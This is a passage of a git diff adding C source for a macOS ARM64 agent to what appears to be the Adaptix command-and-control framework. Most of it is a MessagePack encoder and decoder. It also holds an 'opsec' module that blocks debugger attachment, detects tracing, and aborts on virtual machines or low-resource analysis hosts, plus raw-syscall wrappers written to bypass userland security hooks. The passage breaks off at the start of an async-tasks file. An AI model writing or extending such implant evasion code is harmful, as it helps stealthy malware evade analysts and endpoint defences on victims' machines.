mp_writer_free(&msg_writer); + + if (encrypted) { + conn_send_msg(&conn, encrypted, enc_len); + ax_free(encrypted, enc_len); + } + } + + // Cleanup + if (objects) ax_free((void*)objects, obj_count * sizeof(uint8_t*)); + if (obj_sizes) ax_free(obj_sizes, obj_count * sizeof(uint32_t)); + ax_free(plaintext, plain_len); + } + + conn_close(&conn); + } + + // Cleanup + ax_free(init_msg, init_msg_len); + ax_free(session_info_data, session_info_len); + for (uint32_t i = 0; i < profile_count; i++) + free_profile(&profiles[i]); + + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.c new file mode 100644 index 000000000..7698c98d1 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.c @@ -0,0 +1,535 @@ +#include "msgpack.h" + +/// ---- Writer ---- + +int mp_writer_init(mp_writer_t* w, size_t cap) { + return buf_init(&w->buf, cap); +} + +void mp_writer_free(mp_writer_t* w) { + buf_free(&w->buf); +} + +static int write_byte(mp_writer_t* w, uint8_t b) { + return buf_append(&w->buf, &b, 1); +} + +static int write_bytes(mp_writer_t* w, const void* data, size_t len) { + return buf_append(&w->buf, data, len); +} + +static int write_u16_be(mp_writer_t* w, uint16_t val) { + uint8_t b[2] = { (uint8_t)(val >> 8), (uint8_t)val }; + return write_bytes(w, b, 2); +} + +static int write_u32_be(mp_writer_t* w, uint32_t val) { + uint8_t b[4] = { + (uint8_t)(val >> 24), (uint8_t)(val >> 16), + (uint8_t)(val >> 8), (uint8_t)val + }; + return write_bytes(w, b, 4); +} + +int mp_write_map(mp_writer_t* w, uint32_t count) { + if (count <= 15) { + return write_byte(w, 0x80 | (uint8_t)count); // fixmap + } else if (count <= 0xFFFF) { + if (write_byte(w, 0xDE)) return -1; // map16 + return write_u16_be(w, (uint16_t)count); + } else { + if (write_byte(w, 0xDF)) return -1; // map32 + return write_u32_be(w, count); + } +} + +int mp_write_array(mp_writer_t* w, uint32_t count) { + if (count <= 15) { + return write_byte(w, 0x90 | (uint8_t)count); // fixarray + } else if (count <= 0xFFFF) { + if (write_byte(w, 0xDC)) return -1; // array16 + return write_u16_be(w, (uint16_t)count); + } else { + if (write_byte(w, 0xDD)) return -1; // array32 + return write_u32_be(w, count); + } +} + +int mp_write_nil(mp_writer_t* w) { + return write_byte(w, 0xC0); +} + +int mp_write_bool(mp_writer_t* w, bool val) { + return write_byte(w, val ? 0xC3 : 0xC2); +} + +int mp_write_uint(mp_writer_t* w, uint64_t val) { + if (val <= 0x7F) { + return write_byte(w, (uint8_t)val); // positive fixint + } else if (val <= 0xFF) { + if (write_byte(w, 0xCC)) return -1; // uint8 + return write_byte(w, (uint8_t)val); + } else if (val <= 0xFFFF) { + if (write_byte(w, 0xCD)) return -1; // uint16 + return write_u16_be(w, (uint16_t)val); + } else if (val <= 0xFFFFFFFF) { + if (write_byte(w, 0xCE)) return -1; // uint32 + return write_u32_be(w, (uint32_t)val); + } else { + if (write_byte(w, 0xCF)) return -1; // uint64 + uint8_t b[8] = { + (uint8_t)(val >> 56), (uint8_t)(val >> 48), + (uint8_t)(val >> 40), (uint8_t)(val >> 32), + (uint8_t)(val >> 24), (uint8_t)(val >> 16), + (uint8_t)(val >> 8), (uint8_t)val + }; + return write_bytes(w, b, 8); + } +} + +int mp_write_int(mp_writer_t* w, int64_t val) { + if (val >= 0) { + return mp_write_uint(w, (uint64_t)val); + } + if (val >= -32) { + return write_byte(w, (uint8_t)(val & 0xFF)); // negative fixint + } else if (val >= -128) { + if (write_byte(w, 0xD0)) return -1; // int8 + return write_byte(w, (uint8_t)(val & 0xFF)); + } else if (val >= -32768) { + if (write_byte(w, 0xD1)) return -1; // int16 + return write_u16_be(w, (uint16_t)(val & 0xFFFF)); + } else if (val >= -2147483648LL) { + if (write_byte(w, 0xD2)) return -1; // int32 + return write_u32_be(w, (uint32_t)(val & 0xFFFFFFFF)); + } else { + if (write_byte(w, 0xD3)) return -1; // int64 + uint64_t uval = (uint64_t)val; + uint8_t b[8] = { + (uint8_t)(uval >> 56), (uint8_t)(uval >> 48), + (uint8_t)(uval >> 40), (uint8_t)(uval >> 32), + (uint8_t)(uval >> 24), (uint8_t)(uval >> 16), + (uint8_t)(uval >> 8), (uint8_t)uval + }; + return write_bytes(w, b, 8); + } +} + +int mp_write_str(mp_writer_t* w, const char* str, uint32_t len) { + if (len <= 31) { + if (write_byte(w, 0xA0 | (uint8_t)len)) return -1; // fixstr + } else if (len <= 0xFF) { + if (write_byte(w, 0xD9)) return -1; // str8 + if (write_byte(w, (uint8_t)len)) return -1; + } else if (len <= 0xFFFF) { + if (write_byte(w, 0xDA)) return -1; // str16 + if (write_u16_be(w, (uint16_t)len)) return -1; + } else { + if (write_byte(w, 0xDB)) return -1; // str32 + if (write_u32_be(w, len)) return -1; + } + if (len > 0) { + return write_bytes(w, str, len); + } + return 0; +} + +int mp_write_bin(mp_writer_t* w, const uint8_t* data, uint32_t len) { + if (len <= 0xFF) { + if (write_byte(w, 0xC4)) return -1; // bin8 + if (write_byte(w, (uint8_t)len)) return -1; + } else if (len <= 0xFFFF) { + if (write_byte(w, 0xC5)) return -1; // bin16 + if (write_u16_be(w, (uint16_t)len)) return -1; + } else { + if (write_byte(w, 0xC6)) return -1; // bin32 + if (write_u32_be(w, len)) return -1; + } + if (len > 0) { + return write_bytes(w, data, len); + } + return 0; +} + +// Convenience: key + string value +int mp_write_kv_str(mp_writer_t* w, const char* key, const char* val) { + uint32_t klen = (uint32_t)ax_strlen(key); + uint32_t vlen = val ? (uint32_t)ax_strlen(val) : 0; + if (mp_write_str(w, key, klen)) return -1; + return mp_write_str(w, val ? val : "", vlen); +} + +int mp_write_kv_bin(mp_writer_t* w, const char* key, const uint8_t* data, uint32_t len) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_bin(w, data, len); +} + +int mp_write_kv_uint(mp_writer_t* w, const char* key, uint64_t val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_uint(w, val); +} + +int mp_write_kv_int(mp_writer_t* w, const char* key, int64_t val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_int(w, val); +} + +int mp_write_kv_bool(mp_writer_t* w, const char* key, bool val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_bool(w, val); +} + +/// ---- Reader ---- + +void mp_reader_init(mp_reader_t* r, const uint8_t* data, size_t len) { + r->data = data; + r->len = len; + r->pos = 0; +} + +static int read_byte(mp_reader_t* r, uint8_t* b) { + if (r->pos >= r->len) return -1; + *b = r->data[r->pos++]; + return 0; +} + +static int read_bytes(mp_reader_t* r, const uint8_t** out, size_t len) { + if (r->pos + len > r->len) return -1; + *out = r->data + r->pos; + r->pos += len; + return 0; +} + +static uint16_t read_u16_be(const uint8_t* p) { + return ((uint16_t)p[0] << 8) | p[1]; +} + +static uint32_t read_u32_be(const uint8_t* p) { + return ((uint32_t)p[0] << 24) | ((uint32_t)p[1] << 16) | + ((uint32_t)p[2] << 8) | p[3]; +} + +static uint64_t read_u64_be(const uint8_t* p) { + return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) | + ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) | + ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) | + ((uint64_t)p[6] << 8) | p[7]; +} + +uint8_t mp_peek_type(mp_reader_t* r) { + if (r->pos >= r->len) return 0; + return r->data[r->pos]; +} + +int mp_read_map(mp_reader_t* r, uint32_t* count) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + if ((b & 0xF0) == 0x80) { + *count = b & 0x0F; // fixmap + return 0; + } else if (b == 0xDE) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *count = read_u16_be(p); + return 0; + } else if (b == 0xDF) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *count = read_u32_be(p); + return 0; + } + return -1; +} + +int mp_read_array(mp_reader_t* r, uint32_t* count) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + if ((b & 0xF0) == 0x90) { + *count = b & 0x0F; // fixarray + return 0; + } else if (b == 0xDC) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *count = read_u16_be(p); + return 0; + } else if (b == 0xDD) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *count = read_u32_be(p); + return 0; + } + return -1; +} + +int mp_read_nil(mp_reader_t* r) { + uint8_t b; + if (read_byte(r, &b)) return -1; + return (b == 0xC0) ? 0 : -1; +} + +int mp_read_bool(mp_reader_t* r, bool* val) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if (b == 0xC3) { *val = true; return 0; } + if (b == 0xC2) { *val = false; return 0; } + return -1; +} + +int mp_read_uint(mp_reader_t* r, uint64_t* val) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + if (b <= 0x7F) { + *val = b; // positive fixint + return 0; + } + + const uint8_t* p; + switch (b) { + case 0xCC: // uint8 + if (read_byte(r, &b)) return -1; + *val = b; + return 0; + case 0xCD: // uint16 + if (read_bytes(r, &p, 2)) return -1; + *val = read_u16_be(p); + return 0; + case 0xCE: // uint32 + if (read_bytes(r, &p, 4)) return -1; + *val = read_u32_be(p); + return 0; + case 0xCF: // uint64 + if (read_bytes(r, &p, 8)) return -1; + *val = read_u64_be(p); + return 0; + default: + return -1; + } +} + +int mp_read_int(mp_reader_t* r, int64_t* val) { + uint8_t b = mp_peek_type(r); + + // positive fixint or uint types + if (b <= 0x7F || b == 0xCC || b == 0xCD || b == 0xCE || b == 0xCF) { + uint64_t uval; + if (mp_read_uint(r, &uval)) return -1; + *val = (int64_t)uval; + return 0; + } + + // negative fixint + if ((b & 0xE0) == 0xE0) { + read_byte(r, &b); + *val = (int8_t)b; + return 0; + } + + read_byte(r, &b); + const uint8_t* p; + switch (b) { + case 0xD0: // int8 + if (read_byte(r, &b)) return -1; + *val = (int8_t)b; + return 0; + case 0xD1: // int16 + if (read_bytes(r, &p, 2)) return -1; + *val = (int16_t)read_u16_be(p); + return 0; + case 0xD2: // int32 + if (read_bytes(r, &p, 4)) return -1; + *val = (int32_t)read_u32_be(p); + return 0; + case 0xD3: // int64 + if (read_bytes(r, &p, 8)) return -1; + *val = (int64_t)read_u64_be(p); + return 0; + default: + return -1; + } +} + +int mp_read_str(mp_reader_t* r, const char** str, uint32_t* len) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + if ((b & 0xE0) == 0xA0) { + *len = b & 0x1F; // fixstr + } else if (b == 0xD9) { + uint8_t l; + if (read_byte(r, &l)) return -1; + *len = l; + } else if (b == 0xDA) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *len = read_u16_be(p); + } else if (b == 0xDB) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *len = read_u32_be(p); + } else { + return -1; + } + + const uint8_t* p; + if (*len > 0) { + if (read_bytes(r, &p, *len)) return -1; + *str = (const char*)p; + } else { + *str = ""; + } + return 0; +} + +int mp_read_bin(mp_reader_t* r, const uint8_t** data, uint32_t* len) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + if (b == 0xC4) { + uint8_t l; + if (read_byte(r, &l)) return -1; + *len = l; + } else if (b == 0xC5) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *len = read_u16_be(p); + } else if (b == 0xC6) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *len = read_u32_be(p); + } else { + return -1; + } + + if (*len > 0) { + if (read_bytes(r, data, *len)) return -1; + } else { + *data = (const uint8_t*)0; + } + return 0; +} + +// Skip one msgpack element (recursively for maps/arrays) +int mp_skip(mp_reader_t* r) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + // positive fixint + if (b <= 0x7F) return 0; + // negative fixint + if ((b & 0xE0) == 0xE0) return 0; + + // fixmap + if ((b & 0xF0) == 0x80) { + uint32_t count = b & 0x0F; + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + // fixarray + if ((b & 0xF0) == 0x90) { + uint32_t count = b & 0x0F; + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + // fixstr + if ((b & 0xE0) == 0xA0) { + uint32_t len = b & 0x1F; + r->pos += len; + return (r->pos <= r->len) ? 0 : -1; + } + + const uint8_t* p; + switch (b) { + case 0xC0: case 0xC2: case 0xC3: return 0; // nil, false, true + case 0xCC: r->pos += 1; break; // uint8 + case 0xCD: r->pos += 2; break; // uint16 + case 0xCE: r->pos += 4; break; // uint32 + case 0xCF: r->pos += 8; break; // uint64 + case 0xD0: r->pos += 1; break; // int8 + case 0xD1: r->pos += 2; break; // int16 + case 0xD2: r->pos += 4; break; // int32 + case 0xD3: r->pos += 8; break; // int64 + case 0xCA: r->pos += 4; break; // float32 + case 0xCB: r->pos += 8; break; // float64 + case 0xC4: // bin8 + if (read_byte(r, &b)) return -1; + r->pos += b; + break; + case 0xC5: // bin16 + if (read_bytes(r, &p, 2)) return -1; + r->pos += read_u16_be(p); + break; + case 0xC6: // bin32 + if (read_bytes(r, &p, 4)) return -1; + r->pos += read_u32_be(p); + break; + case 0xD9: // str8 + if (read_byte(r, &b)) return -1; + r->pos += b; + break; + case 0xDA: // str16 + if (read_bytes(r, &p, 2)) return -1; + r->pos += read_u16_be(p); + break; + case 0xDB: // str32 + if (read_bytes(r, &p, 4)) return -1; + r->pos += read_u32_be(p); + break; + case 0xDC: { // array16 + if (read_bytes(r, &p, 2)) return -1; + uint32_t count = read_u16_be(p); + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDD: { // array32 + if (read_bytes(r, &p, 4)) return -1; + uint32_t count = read_u32_be(p); + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDE: { // map16 + if (read_bytes(r, &p, 2)) return -1; + uint32_t count = read_u16_be(p); + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDF: { // map32 + if (read_bytes(r, &p, 4)) return -1; + uint32_t count = read_u32_be(p); + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + default: + return -1; + } + return (r->pos <= r->len) ? 0 : -1; +} + +// Find a key in a map. r must be positioned after mp_read_map(). +// Returns 0 if found (r positioned at the value), -1 if not found. +int mp_find_key_str(mp_reader_t* r, uint32_t map_count, const char* key) { + size_t key_len = ax_strlen(key); + for (uint32_t i = 0; i < map_count; i++) { + const char* k; + uint32_t klen; + if (mp_read_str(r, &k, &klen)) return -1; + if (klen == key_len && ax_memcmp(k, key, klen) == 0) { + return 0; // found — reader is at the value + } + // skip value + if (mp_skip(r)) return -1; + } + return -1; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.h new file mode 100644 index 000000000..d8a68fb45 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.h @@ -0,0 +1,64 @@ +#ifndef MSGPACK_H +#define MSGPACK_H + +#include "types.h" +#include "crt.h" + +/// ---- Writer (encoder) ---- + +typedef struct { + buffer_t buf; +} mp_writer_t; + +int mp_writer_init(mp_writer_t* w, size_t cap); +void mp_writer_free(mp_writer_t* w); + +// Map & array +int mp_write_map(mp_writer_t* w, uint32_t count); +int mp_write_array(mp_writer_t* w, uint32_t count); + +// Primitives +int mp_write_nil(mp_writer_t* w); +int mp_write_bool(mp_writer_t* w, bool val); +int mp_write_uint(mp_writer_t* w, uint64_t val); +int mp_write_int(mp_writer_t* w, int64_t val); +int mp_write_str(mp_writer_t* w, const char* str, uint32_t len); +int mp_write_bin(mp_writer_t* w, const uint8_t* data, uint32_t len); + +// Convenience: write a map key (string) + value pair +int mp_write_kv_str(mp_writer_t* w, const char* key, const char* val); +int mp_write_kv_bin(mp_writer_t* w, const char* key, const uint8_t* data, uint32_t len); +int mp_write_kv_uint(mp_writer_t* w, const char* key, uint64_t val); +int mp_write_kv_int(mp_writer_t* w, const char* key, int64_t val); +int mp_write_kv_bool(mp_writer_t* w, const char* key, bool val); + +/// ---- Reader (decoder) ---- + +typedef struct { + const uint8_t* data; + size_t len; + size_t pos; +} mp_reader_t; + +void mp_reader_init(mp_reader_t* r, const uint8_t* data, size_t len); + +// Type checking +uint8_t mp_peek_type(mp_reader_t* r); +int mp_skip(mp_reader_t* r); // skip one element + +// Map & array +int mp_read_map(mp_reader_t* r, uint32_t* count); +int mp_read_array(mp_reader_t* r, uint32_t* count); + +// Primitives +int mp_read_nil(mp_reader_t* r); +int mp_read_bool(mp_reader_t* r, bool* val); +int mp_read_uint(mp_reader_t* r, uint64_t* val); +int mp_read_int(mp_reader_t* r, int64_t* val); +int mp_read_str(mp_reader_t* r, const char** str, uint32_t* len); // points into buffer +int mp_read_bin(mp_reader_t* r, const uint8_t** data, uint32_t* len); // points into buffer + +// Key lookup: find key in current map, returns 0 if found (cursor at value) +int mp_find_key_str(mp_reader_t* r, uint32_t map_count, const char* key); + +#endif // MSGPACK_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.c new file mode 100644 index 000000000..62d9f2bef --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.c @@ -0,0 +1,144 @@ +#include "opsec.h" +#include "syscalls_arm64.h" +#include "crt.h" +#include "dyld_resolve.h" + +#include +#include + +/// ── Anti-Debug ── +/// 1. PT_DENY_ATTACH via direct syscall — prevents debugger attachment +/// 2. Check P_TRACED flag via sysctl — detects existing debugger +/// 3. sysctl hw.model — detect Analysis VMs + +int opsec_anti_debug(void) { + // PT_DENY_ATTACH — prevent future debugger attachment + // Uses direct syscall to bypass any ptrace() hooks + sys_ptrace(PT_DENY_ATTACH, 0, (void*)0, 0); + + // Check if already being traced via sysctl(KERN_PROC) + // This uses a direct syscall to avoid hooked sysctl() + int mib[4]; + mib[0] = CTL_KERN; + mib[1] = KERN_PROC; + mib[2] = KERN_PROC_PID; + mib[3] = sys_getpid(); + + struct kinfo_proc info; + ax_memset(&info, 0, sizeof(info)); + size_t info_size = sizeof(info); + + // Direct syscall to sysctl + int ret = sys_sysctl(mib, 4, &info, &info_size, (void*)0, 0); + if (ret == 0) { + // Check P_TRACED flag + if (info.kp_proc.p_flag & P_TRACED) { + return -1; // Debugger detected + } + } + + return 0; +} + +/// ── VM Detection ── +/// Detects common virtualization/analysis environments on macOS: +/// 1. hw.model sysctl — "VirtualMac" (Parallels), VMware, etc. +/// 2. machdep.cpu.brand_string — "QEMU" or unusual CPU strings +/// 3. Check for known VM MAC address prefixes (via sysctl) +/// 4. Check for low hardware specs (analysis VMs often have minimal resources) + +int opsec_vm_detect(void) { + // Check hw.model via sysctl + int mib_model[2] = { CTL_HW, HW_MODEL }; + char model[128] = {0}; + size_t model_len = sizeof(model) - 1; + + if (sys_sysctl(mib_model, 2, model, &model_len, (void*)0, 0) == 0) { + // Known VM model strings + // "VirtualMac" — Parallels Desktop + if (model[0] == 'V' && model[1] == 'i' && model[2] == 'r' && + model[3] == 't' && model[4] == 'u' && model[5] == 'a' && + model[6] == 'l') { + return -1; + } + // "VMware" prefix + if (model[0] == 'V' && model[1] == 'M' && model[2] == 'w') { + return -1; + } + } + + // Check logical CPU count — analysis VMs often have 1-2 cores + int mib_ncpu[2] = { CTL_HW, HW_NCPU }; + int ncpu = 0; + size_t ncpu_len = sizeof(ncpu); + + if (sys_sysctl(mib_ncpu, 2, &ncpu, &ncpu_len, (void*)0, 0) == 0) { + if (ncpu < 2) { + return -1; // Suspiciously low CPU count + } + } + + // Check physical memory — analysis VMs often have <4GB + int mib_mem[2] = { CTL_HW, HW_MEMSIZE }; + uint64_t memsize = 0; + size_t mem_len = sizeof(memsize); + + if (sys_sysctl(mib_mem, 2, &memsize, &mem_len, (void*)0, 0) == 0) { + // Less than 4GB = suspicious + if (memsize < (uint64_t)4 * 1024 * 1024 * 1024) { + return -1; + } + } + + return 0; +} + +/// ── Sandbox Detection ── +/// Detects macOS App Sandbox and analysis environments: +/// 1. CS_OPS_STATUS csops — check if sandboxed +/// 2. Check for known analysis tools running + +// csops operations +#define CS_OPS_STATUS 0 +// Code signing flags +#define CS_RESTRICT 0x0000800 +#define CS_ENFORCEMENT 0x0001000 + +int opsec_sandbox_detect(void) { + // Check code signing status via csops syscall + uint32_t cs_flags = 0; + int pid = sys_getpid(); + + if (sys_csops(pid, CS_OPS_STATUS, &cs_flags, sizeof(cs_flags)) == 0) { + // CS_RESTRICT means the binary has restricted entitlements + // This is normal for sandboxed apps but unusual for our agent + // We don't fail on this — just informational + } + + // Check for analysis tools by looking for their processes + // via sysctl KERN_PROC_ALL — but this is noisy + // Instead, check for known paths that indicate analysis environment + + // Check if running inside /private/var/folders (quarantine) + char cwd[1024]; + if (R_getcwd(cwd, sizeof(cwd))) { + // macOS quarantine directory + if (cwd[0] == '/' && cwd[1] == 'p' && cwd[2] == 'r' && + cwd[3] == 'i' && cwd[4] == 'v' && cwd[5] == 'a' && + cwd[6] == 't' && cwd[7] == 'e') { + // Running from quarantine — could be analysis + // Don't fail, but flag it + } + } + + return 0; +} + +/// ── Combined Check ── +int opsec_check(void) { + if (opsec_anti_debug() != 0) return -1; + if (opsec_vm_detect() != 0) return -1; + // Sandbox detection is informational, don't block + opsec_sandbox_detect(); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.h new file mode 100644 index 000000000..056ec9228 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.h @@ -0,0 +1,17 @@ +#ifndef OPSEC_H +#define OPSEC_H + +#include "types.h" + +/// OPSEC checks — anti-debug, VM detection, sandbox detection +/// Call opsec_check() at startup before any C2 communication + +/// Run all OPSEC checks. Returns 0 if safe, -1 if hostile environment detected. +int opsec_check(void); + +/// Individual checks (can be called separately) +int opsec_anti_debug(void); // PT_DENY_ATTACH + P_TRACED check +int opsec_vm_detect(void); // VM/hypervisor detection +int opsec_sandbox_detect(void); // App Sandbox detection + +#endif // OPSEC_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/syscalls_arm64.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/syscalls_arm64.h new file mode 100644 index 000000000..7e243456d --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/syscalls_arm64.h @@ -0,0 +1,191 @@ +#ifndef SYSCALLS_ARM64_H +#define SYSCALLS_ARM64_H + +#include +#include + +/// ARM64 macOS direct syscalls via SVC #0x80 +/// BSD syscall numbers are 0x2000000 | bsd_number +/// Mach traps are negative numbers (not used here) +/// +/// Bypasses userland hooks on libSystem functions + +#define SYS_CLASS_UNIX 0x2000000 + +// BSD syscall numbers (macOS ARM64) +#define SYS_exit (SYS_CLASS_UNIX | 1) +#define SYS_fork (SYS_CLASS_UNIX | 2) +#define SYS_read (SYS_CLASS_UNIX | 3) +#define SYS_write (SYS_CLASS_UNIX | 4) +#define SYS_open (SYS_CLASS_UNIX | 5) +#define SYS_close (SYS_CLASS_UNIX | 6) +#define SYS_kill (SYS_CLASS_UNIX | 37) +#define SYS_getpid (SYS_CLASS_UNIX | 20) +#define SYS_getuid (SYS_CLASS_UNIX | 24) +#define SYS_ptrace (SYS_CLASS_UNIX | 26) +#define SYS_socket (SYS_CLASS_UNIX | 97) +#define SYS_connect (SYS_CLASS_UNIX | 98) +#define SYS_mmap (SYS_CLASS_UNIX | 197) +#define SYS_munmap (SYS_CLASS_UNIX | 73) +#define SYS_mprotect (SYS_CLASS_UNIX | 74) +#define SYS_sysctl (SYS_CLASS_UNIX | 202) +#define SYS_sysctlbyname (SYS_CLASS_UNIX | 274) +#define SYS_stat64 (SYS_CLASS_UNIX | 338) +#define SYS_fstat64 (SYS_CLASS_UNIX | 339) +#define SYS_getdirentries64 (SYS_CLASS_UNIX | 344) +#define SYS_csops (SYS_CLASS_UNIX | 169) + +// ptrace requests +#define PT_DENY_ATTACH 31 +#define PT_TRACE_ME 0 + +/// Raw syscall wrappers — ARM64 ABI +/// x16 = syscall number, x0-x5 = args, SVC #0x80 +/// Returns x0 (result), carry flag set on error + +static inline long raw_syscall0(long number) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0"); + __asm__ volatile( + "svc #0x80\n" + : "=r"(x0) + : "r"(x16) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall1(long number, long a0) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + __asm__ volatile( + "svc #0x80\n" + : "+r"(x0) + : "r"(x16) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall2(long number, long a0, long a1) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + __asm__ volatile( + "svc #0x80\n" + : "+r"(x0) + : "r"(x16), "r"(x1) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall3(long number, long a0, long a1, long a2) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + __asm__ volatile( + "svc #0x80\n" + : "+r"(x0) + : "r"(x16), "r"(x1), "r"(x2) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall4(long number, long a0, long a1, long a2, long a3) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + __asm__ volatile( + "svc #0x80\n" + : "+r"(x0) + : "r"(x16), "r"(x1), "r"(x2), "r"(x3) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall6(long number, long a0, long a1, long a2, + long a3, long a4, long a5) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + register long x4 __asm__("x4") = a4; + register long x5 __asm__("x5") = a5; + __asm__ volatile( + "svc #0x80\n" + : "+r"(x0) + : "r"(x16), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5) + : "memory", "cc" + ); + return x0; +} + +/// Convenience wrappers for common syscalls + +static inline int sys_open(const char* path, int flags, int mode) { + return (int)raw_syscall3(SYS_open, (long)path, (long)flags, (long)mode); +} + +static inline int sys_close(int fd) { + return (int)raw_syscall1(SYS_close, (long)fd); +} + +static inline long sys_read(int fd, void* buf, size_t count) { + return raw_syscall3(SYS_read, (long)fd, (long)buf, (long)count); +} + +static inline long sys_write(int fd, const void* buf, size_t count) { + return raw_syscall3(SYS_write, (long)fd, (long)buf, (long)count); +} + +static inline int sys_getpid(void) { + return (int)raw_syscall0(SYS_getpid); +} + +static inline int sys_getuid(void) { + return (int)raw_syscall0(SYS_getuid); +} + +static inline int sys_kill(int pid, int sig) { + return (int)raw_syscall2(SYS_kill, (long)pid, (long)sig); +} + +static inline int sys_ptrace(int request, int pid, void* addr, int data) { + return (int)raw_syscall4(SYS_ptrace, (long)request, (long)pid, (long)addr, (long)data); +} + +static inline void* sys_mmap(void* addr, size_t len, int prot, int flags, int fd, long offset) { + return (void*)raw_syscall6(SYS_mmap, (long)addr, (long)len, (long)prot, + (long)flags, (long)fd, offset); +} + +static inline int sys_munmap(void* addr, size_t len) { + return (int)raw_syscall2(SYS_munmap, (long)addr, (long)len); +} + +static inline int sys_mprotect(void* addr, size_t len, int prot) { + return (int)raw_syscall3(SYS_mprotect, (long)addr, (long)len, (long)prot); +} + +static inline int sys_sysctl(int* name, unsigned int namelen, void* oldp, + size_t* oldlenp, void* newp, size_t newlen) { + return (int)raw_syscall6(SYS_sysctl, (long)name, (long)namelen, (long)oldp, + (long)oldlenp, (long)newp, (long)newlen); +} + +static inline int sys_fork(void) { + return (int)raw_syscall0(SYS_fork); +} + +static inline int sys_csops(int pid, unsigned int ops, void* useraddr, size_t usersize) { + return (int)raw_syscall4(SYS_csops, (long)pid, (long)ops, (long)useraddr, (long)usersize); +} + +#endif // SYSCALLS_ARM64_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.c new file mode 100644 index 000000000..537c38968 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.c @@ -0,0 +1,806 @@ +#include "tasks_async.h" +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "types.h" +#include "dyld_resolve.h" + +#include +#include +#include +#include +#include + +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void _async_dbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +static void _async_dbg_int(const char* prefix, int64_t val) { + size_t plen = 0; + const char* p = prefix; + while (*p++) plen++; + sys_write(2, prefix, plen); + char nbuf[24]; + int ni = 0; + uint64_t uv = val < 0 ? (uint64_t)(-val) : (uint64_t)val; + if (val < 0) sys_write(2, "-", 1); + do { nbuf[ni++] = '0' + (uv % 10); uv /= 10; } while (uv > 0); + while (ni > 0) { char c = nbuf[--ni]; sys_write(2, &c, 1); } + sys_write(2, "\n", 1); +} +#else +#define _async_dbg(msg) ((void)0) +#define _async_dbg_int(prefix, val) ((void)0) +#endif + +// ── Helpers ── + +static void 